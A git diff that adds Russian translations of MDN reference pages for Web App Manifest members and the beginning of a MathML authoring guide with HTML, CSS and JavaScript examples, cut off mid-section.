+++ b/files/ru/web/manifest/prefer_related_applications/index.html
@@ -0,0 +1,76 @@
+---
+title: prefer_related_applications
+slug: Web/Manifest/prefer_related_applications
+tags:
+  - Manifest
+  - Web
+  - prefer_related_applications
+translation_of: Web/Manifest/prefer_related_applications
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>Boolean</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"prefer_related_applications": true</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>prefer_related_applications</code></dfn> является значением типа <code>boolean</code>, которое указывает, что приложения, перечисленные в <code><a href="./related_applications">related_applications</a></code>, должны быть предпочтительнее веб-приложения. Если для <code>prefer_related_applications</code> установлено значение <code>true</code>, пользовательский агент может предложить установить одно из связанных приложений вместо этого веб-приложения.</p>
+
+<p>Если опущено, <dfn><code>prefer_related_applications</code></dfn> по умолчанию <code>false</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json">"prefer_related_applications": true
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#prefer_related_applications-member', 'prefer_related_applications')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.prefer_related_applications")}}</p>
diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html
new file mode 100644
index 0000000000..d2a9675c31
--- /dev/null
+++ b/files/ru/web/manifest/related_applications/index.html
@@ -0,0 +1,113 @@
+---
+title: related_applications
+slug: Web/Manifest/related_applications
+tags:
+  - Manifest
+  - Web
+  - related_applications
+translation_of: Web/Manifest/related_applications
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"related_applications": [
+  {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
+    "id": "com.example.app1"
+  }
+]</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Поле <code>related_applications</code> field is an array of objects specifying native applications that are installable by, or accessible to, the underlying platform — for example, a native Android application obtainable through the Google Play Store. Предполагается, что такие приложения являются альтернативами веб-сайту манифеста, который предоставляет аналогичные/эквивалентные функции - как эквивалент нативного приложения.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Разработчик может указать, что нативные приложения предпочтительнее, чем веб-приложение, установив значение <code>prefer_related_applications</code> в <code>true</code>.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json"><code>"related_applications": [
+  {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
+    "id": "com.example.app1"
+  }, {
+    "platform": "itunes",
+    "url": "https://itunes.apple.com/app/example-app1/id123456789"
+  }
+]</code></pre>
+
+<h2 id="Значения">Значения</h2>
+
+<p>Объекты приложения могут содержать следующие значения:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>platform</code></td>
+   <td>Платформа, на которой может быть найдено приложение. <a href="https://github.com/w3c/manifest/wiki/Platforms">List of available values</a></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>URL, по которому может быть найдено приложение.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>ID, используемое для представления приложения на определенной платформе.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Manifest', '#related_applications-member', 'related_applications')}}</td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>Initial definition.</td>
+   <td><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.related_applications")}}</p>
diff --git a/files/ru/web/manifest/scope/index.html b/files/ru/web/manifest/scope/index.html
new file mode 100644
index 0000000000..fc23de8adc
--- /dev/null
+++ b/files/ru/web/manifest/scope/index.html
@@ -0,0 +1,88 @@
+---
+title: scope
+slug: Web/Manifest/scope
+tags:
+  - Manifest
+  - Web
+  - scope
+translation_of: Web/Manifest/scope
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"scope": "/app/"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Определяет область навигации контекста веб-приложения. Обычно ограничивается тем, какая веб-страница может быть просмотрена, пока манифест загружается. Если пользователь выходит за пределы области, приложение возвращается к нормальному виду веб-страницы.</p>
+
+<p>Если область относительный URL, базовым URL будет URL манифеста.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Если область относительная, URL манифеста используется как базовый URL:</p>
+
+<pre class="brush: json">"scope": "/app/"
+</pre>
+
+<p>Следующая область ограничивает навигацию текущим сайтом:</p>
+
+<pre class="brush: json">"scope": "https://example.com/"
+</pre>
+
+<p>Наконец, в следующем примере навигация ограничена подкаталогом текущего сайта:</p>
+
+<pre class="brush: json">"scope": "https://example.com/subdirectory/"
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#scope-member', 'scope')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.scope")}}</p>
diff --git a/files/ru/web/manifest/screenshots/index.html b/files/ru/web/manifest/screenshots/index.html
new file mode 100644
index 0000000000..4b91fbcdd4
--- /dev/null
+++ b/files/ru/web/manifest/screenshots/index.html
@@ -0,0 +1,90 @@
+---
+title: screenshots
+slug: Web/Manifest/screenshots
+tags:
+  - Manifest
+  - Screenshots
+  - Web
+translation_of: Web/Manifest/screenshots
+---
+<div>{{QuickLinksWithSubpages("/ru/docs/Web/Manifest")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>Object</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"screenshots": [
+  {
+    "src": "screenshot.webp",
+    "sizes": "1280x720",
+    "type": "image/webp"
+  }
+]</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>screenshots</code> определяет массив снимков экрана, предназначенных для демонстрации приложения. Эти изображения предназначены для использования в прогрессивных веб-приложениях магазинов.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json">"screenshots" : [
+  {
+    "src": "screenshot1.webp",
+    "sizes": "1280x720",
+    "type": "image/webp"
+  },
+  {
+    "src": "screenshot2.webp",
+    "sizes": "1280x720",
+    "type": "image/webp"
+  }
+]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#screenshots-member', 'screenshots')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.screenshots")}}</p>
diff --git a/files/ru/web/manifest/serviceworker/index.html b/files/ru/web/manifest/serviceworker/index.html
new file mode 100644
index 0000000000..11681a7060
--- /dev/null
+++ b/files/ru/web/manifest/serviceworker/index.html
@@ -0,0 +1,91 @@
+---
+title: serviceworker
+slug: Web/Manifest/serviceworker
+tags:
+  - Manifest
+  - ServiceWorker
+  - Web
+translation_of: Web/Manifest/serviceworker
+---
+<div>{{QuickLinksWithSubpages("/ru/docs/Web/Manifest")}}</div>
+
+<div>{{obsolete_header}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>Object</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"serviceworker": {
+  "src": "./serviceworker.js"
+}</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>serviceworker</code></dfn> описывает {{domxref('Service_Worker_API', 'рабочий сервис')}}, который разработчик намеревается установить для управления PWA.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: json">"serviceworker": {
+  "src": "./serviceworker.js",
+  "scope": "/app",
+  "type": "",
+  "update_via_cache": "none"
+}
+</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<p>Сервисный работник может содержать следующие значения (требуется только src):</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Параметр</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>src</code></td>
+   <td>
+    <p>URL-адрес для загрузки сценария рабочего сервиса. Это единственный обязательный параметр для <code>serviceworker</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>
+    <p>Строка, представляющая URL, который определяет область регистрации рабочего сервиса; то есть, какой диапазон URL-адресов может контролировать рабочий сервис. Обычно это относительный URL-адрес, относительно базового URL-адреса приложения. По умолчанию в качестве области действия для регистрации рабочего сервиса задан каталог, в котором находится сценарий рабочий сервис.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td><code>update_via_cache</code></td>
+   <td>
+    <p>Нужно ли обходить кэш пользовательского агента при получении рабочего сервиса.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.serviceworker")}}</p>
diff --git a/files/ru/web/manifest/short_name/index.html b/files/ru/web/manifest/short_name/index.html
new file mode 100644
index 0000000000..a11e2e2664
--- /dev/null
+++ b/files/ru/web/manifest/short_name/index.html
@@ -0,0 +1,80 @@
+---
+title: short_name
+slug: Web/Manifest/short_name
+tags:
+  - Manifest
+  - Web
+  - short-name
+translation_of: Web/Manifest/short_name
+---
+<div>{{QuickLinksWithSubpages("/ru/docs/Web/Manifest")}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Тип</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Обязателен</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Пример</th>
+   <td>
+    <pre class="brush: json">
+"short_name": "Awesome app"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Элемент <code>short_<dfn>name</dfn></code> -- это строка, которая определяет название веб-приложения показываемае пользователю, если для отображения <code><a href="./name">name</a></code> не достаточно места (например, в качестве надписи под иконкой приложения на экране телефона). <code>short_name</code> может отображаться слева-направо или справе-налево, в зависимости от значений элементов манифеста <code><a href="./dir">dir</a></code> and <code><a href="./lang">lang</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Обычно <code>short_name</code> отображается слева-направо:</p>
+
+<pre class="brush: json">"name": "Awesome application",
+"short_name": "Awesome app"</pre>
+
+<p><code>short_name</code> на арабском отображается справа-налево:</p>
+
+<pre class="brush: json" dir="rtl"><code>"dir": "rtl",
+"lang": "ar",
+"nam</code>e": "تطبيق رائع",
+"short_name": "رائع"
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#short_name-member', 'short_name')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("html.manifest.name")}}</p>
diff --git a/files/ru/web/manifest/start_url/index.html b/files/ru/web/manifest/start_url/index.html
new file mode 100644
index 0000000000..46a76fb058
--- /dev/null
+++ b/files/ru/web/manifest/start_url/index.html
@@ -0,0 +1,87 @@
+---
+title: start_url
+slug: Web/Manifest/start_url
+tags:
+  - Manifest
+  - Web
+  - start_url
+translation_of: Web/Manifest/start_url
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"start_url": "https://example.com"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>start_url</code></dfn> является строкой, представляющей начальный URL-адрес веб-приложения — tпредпочтительный URL-адрес, который должен быть загружен при запуске пользователем веб-приложения (например, когда пользователь нажимает на значок веб-приложения в меню приложений или на домашнем экране).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>start_url</code> носит чисто рекомендательный характер, и пользовательский агент может его игнорировать или разрешить пользователю изменять его во время установки или после.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Absolute_URL">Absolute URL</h3>
+
+<pre class="brush: json" dir="rtl"><code>"start_url": "https://example.com"</code>
+</pre>
+
+<h3 id="Relative_URL">Relative URL</h3>
+
+<p>Если URL является относительным, для его разрешения используется URL манифеста.</p>
+
+<pre class="brush: json" dir="rtl"><code>"start_url": "../startpoint.html"</code>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#start_url-member', 'start_url')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.start_url")}}</p>
diff --git a/files/ru/web/manifest/theme_color/index.html b/files/ru/web/manifest/theme_color/index.html
new file mode 100644
index 0000000000..7536102ca6
--- /dev/null
+++ b/files/ru/web/manifest/theme_color/index.html
@@ -0,0 +1,74 @@
+---
+title: theme_color
+slug: Web/Manifest/theme_color
+tags:
+  - Manifest
+  - Web
+  - theme_color
+translation_of: Web/Manifest/theme_color
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"theme_color": "red"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>theme_color</code> о<span style="font-size: 1rem; letter-spacing: -0.00278rem;">пределяет цвет темы по умолчанию для приложения. Иногда влияет на то, как приложение отображается ОС (например, в переключателе задач Android цвет темы окружает приложение).</span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json">"theme_color": "red"
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#theme_color-member', 'theme_color')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.theme_color")}}</p>
diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html
new file mode 100644
index 0000000000..a6c47f992d
--- /dev/null
+++ b/files/ru/web/mathml/authoring/index.html
@@ -0,0 +1,349 @@
+---
+title: Средство разработки MathML
+slug: Web/MathML/Authoring
+tags:
+  - Beginner
+  - MathML
+  - MathML Project
+  - Начинающий
+translation_of: Web/MathML/Authoring
+---
+<p>Эта страница объясняет, как записать математические выражения при помощи языка MathML. Подобно HTML, основными элементами языка MathML являются теги и атрибуты. Документ HTML становится сложным, когда он содержит структуры, подобные спискам или таблицам, но, к счастью, существует много генераторов на основе простых систем обозначений, WYSIWYG редакторы и другие системы управления контентом, помогающие создавать Web страницы.</p>
+
+<p>Математические обозначения еще более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, где вы можете найти некоторые другие инструменты.</p>
+
+<p>Заметим, что MathML хорошо интегрирован в HTML5. В частности, вы можете использовать обычные Web-инструменты, такие как CSS, DOM, Javascript или SVG. Данная тема выходит за рамки этого документа, но любой, у кого есть базовые знания Web-языков, сможет легко совместить эти инструменты с MathML. Ознакомьтесь с <a href="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/ru/docs/Mozilla/MathML_Project#Sample_MathML_Documents">нашими примерами</a> и <a href="https://developer.mozilla.org/ru/docs/Web/MathML" title="ru/MathML/Element">справочными данными по MathML</a> для получения более подробной информации.</p>
+
+<h2 id="Использование_MathML">Использование MathML</h2>
+
+<h4 id="Example_in_HTML5_(text/html)" name="Example_in_HTML5_(text/html)">MathML на страницах HTML</h4>
+
+<p><span id="result_box" lang="ru"><span>Вы можете использовать Presentation MathML внутри документов HTML5</span></span>:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;MathML in HTML5&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+  &lt;h1&gt;MathML in HTML5&lt;/h1&gt;
+
+  &lt;p&gt;
+    Square root of two:
+    &lt;math&gt;
+      &lt;msqrt&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msqrt&gt;
+    &lt;/math&gt;
+  &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<p>Content MathML не поддерживается браузерами. Рекомендуется преобразовать ваш макет из Content MathML в Presentation MathML перед его публикацией, например, с помощью таблицы стилей <a class="external" href="http://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop">ctop.xsl</a> . Инструменты, упомянутые на этой странице, генерируют Presentation MathML.</p>
+
+<h4 id="Варианты_для_браузеров_без_поддержки_MathML">Варианты для браузеров без поддержки MathML</h4>
+
+<p>К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> возможно будет достаточно. Для ее использования, просто вставьте одну строку в заголовок вашего документа:</p>
+
+<pre class="brush: html">&lt;script src="http://fred-wang.github.io/mathml.css/mspace.js"&gt;&lt;/script&gt;</pre>
+
+<p>Если вам нужны более сложные конструкции, тогда вы можете вместо этого использовать более содержательную библиотеку <a href="http://www.mathjax.org" title="http://www.mathjax.org">MathJax</a> как полифил MathML:</p>
+
+<pre class="brush: html">&lt;script src="http://fred-wang.github.io/mathjax.js/mpadded-min.js"&gt;&lt;/script&gt;</pre>
+
+<p>Обратите внимание, что эти два скрипта распознают элементы <a href="/en-US/docs/Web/MathML/Element/mspace">mspace</a> или <a href="/en-US/docs/Web/MathML/Element/mpadded">mpadded</a> (см. Таблицу совместимости браузера на этих страницах). Существует также подобный скрипт, отображающий предупреждение в верхней части страницы для браузеров без хорошей поддержки MathML и позволяющий пользователям выбрать один из вариантов действий:</p>
+
+<pre class="brush: html">&lt;script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"&gt;&lt;/script&gt;</pre>
+
+<p>Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путем тестирования элемента mspace (вы можете заменить <code>mspace</code> на <code>mpadded</code>):</p>
+
+<pre class="brush: js"> function hasMathMLSupport() {
+  var div = document.createElement("div"), box;
+  div.innerHTML = "&lt;math&gt;&lt;mspace height='23px' width='77px'/&gt;&lt;/math&gt;";
+  document.body.appendChild(div);
+  box = div.firstChild.firstChild.getBoundingClientRect();
+  document.body.removeChild(div);
+  return Math.abs(box.height - 23) &lt;= 1  &amp;&amp; Math.abs(box.width - 77) &lt;= 1;
+}</pre>
+
+<p>В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надежным методом и может сбоить от версии к версии:</p>
+
+<pre class="brush: js">var ua = navigator.userAgent;
+var isGecko = ua.indexOf("Gecko") &gt; -1 &amp;&amp; ua.indexOf("KHTML") === -1 &amp;&amp; ua.indexOf('Trident') === -1;
+var isWebKit = ua.indexOf('AppleWebKit') &gt; -1 &amp;&amp; ua.indexOf('Chrome') === -1;
+</pre>
+
+<h4 id="Математические_шрифты">Математические шрифты</h4>
+
+<p>Для того, чтобы получить хорошую разметку или обеспечить нужный стиль, важно иметь математические шрифты. Всегда полезно обеспечить ссылку на <a href="/ru/docs/Mozilla/MathML_Project/Fonts"> инструкцию по шрифтам MDN </a>, чтобы ваши посетители могли проверить - установлены ли соответствующие шрифты в их системе. Хорошо также, если будет создана резервная копия веб-шрифтов.</p>
+
+<p>До Gecko 31.0 {{GeckoRelease("31.0")}} было утомительно устанавливать математические шрифты (смотрите <a href="/ru/docs/Mozilla/MathML_Project/FontsMozilla2.0#MathML_Font_Selection_with_CSS">инструкцию по установке шрифтов для Mozilla 2.0</a>). Для Gecko 31.0 {{GeckoRelease("31.0")}} это намного проще и совместимо со всеми движками Web рендеринга с поддержкой MathML. Например, здесь представлена минимальная таблица стилей для использования шрифта Latin Modern для текста и шрифта Latin Modern Math для математических выражений:</p>
+
+<pre class="brush: css">@namespace url('http://www.w3.org/1999/xhtml');
+@namespace m url('http://www.w3.org/1998/Math/MathML');
+
+body, m|mtext {
+    font-family: Latin Modern;
+}
+m|math {
+    font-family: Latin Modern Math;
+}</pre>
+
+<p><span id="result_box" lang="ru"><span>Затем вы можете использовать правило</span></span> <a href="/ru/docs/Web/CSS/@font-face">@font-face</a>, как обычно, для обеспечения выбора WOFF для Latin Modern и Latin Modern Math. Смотрите <a href="https://github.com/fred-wang/MathFonts">репозиторий GitHub с  WOFF шрифтами и примерами таблиц стилей CSS</a> для использования на вашем Web-сайте, а также этот <a href="http://fred-wang.github.io/MathFonts/">ресурс с тестами</a>.</p>
+
+<h4 id="MathML_в_документах_XML_(XHTML_EPUB_и_т.д.)">MathML в документах XML (XHTML, EPUB, и т.д.)</h4>
+
+<p>Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имен MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с корневым элементом <code>&lt;math&gt;</code>. Например, версия XHTML предыдущего примера выглядит так:<br>
+  </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;XHTML+MathML Example&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Пример XHTML+MathML&lt;/h1&gt;
+
+  &lt;p&gt;
+    Квадратный корень из двух:
+    &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+      &lt;msqrt&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msqrt&gt;
+    &lt;/math&gt;
+  &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<h4 id="MathML_в_клиентах_email_и_клиентах_обмена_мгновенными_сообщениями">MathML в клиентах email и клиентах обмена мгновенными сообщениями</h4>
+
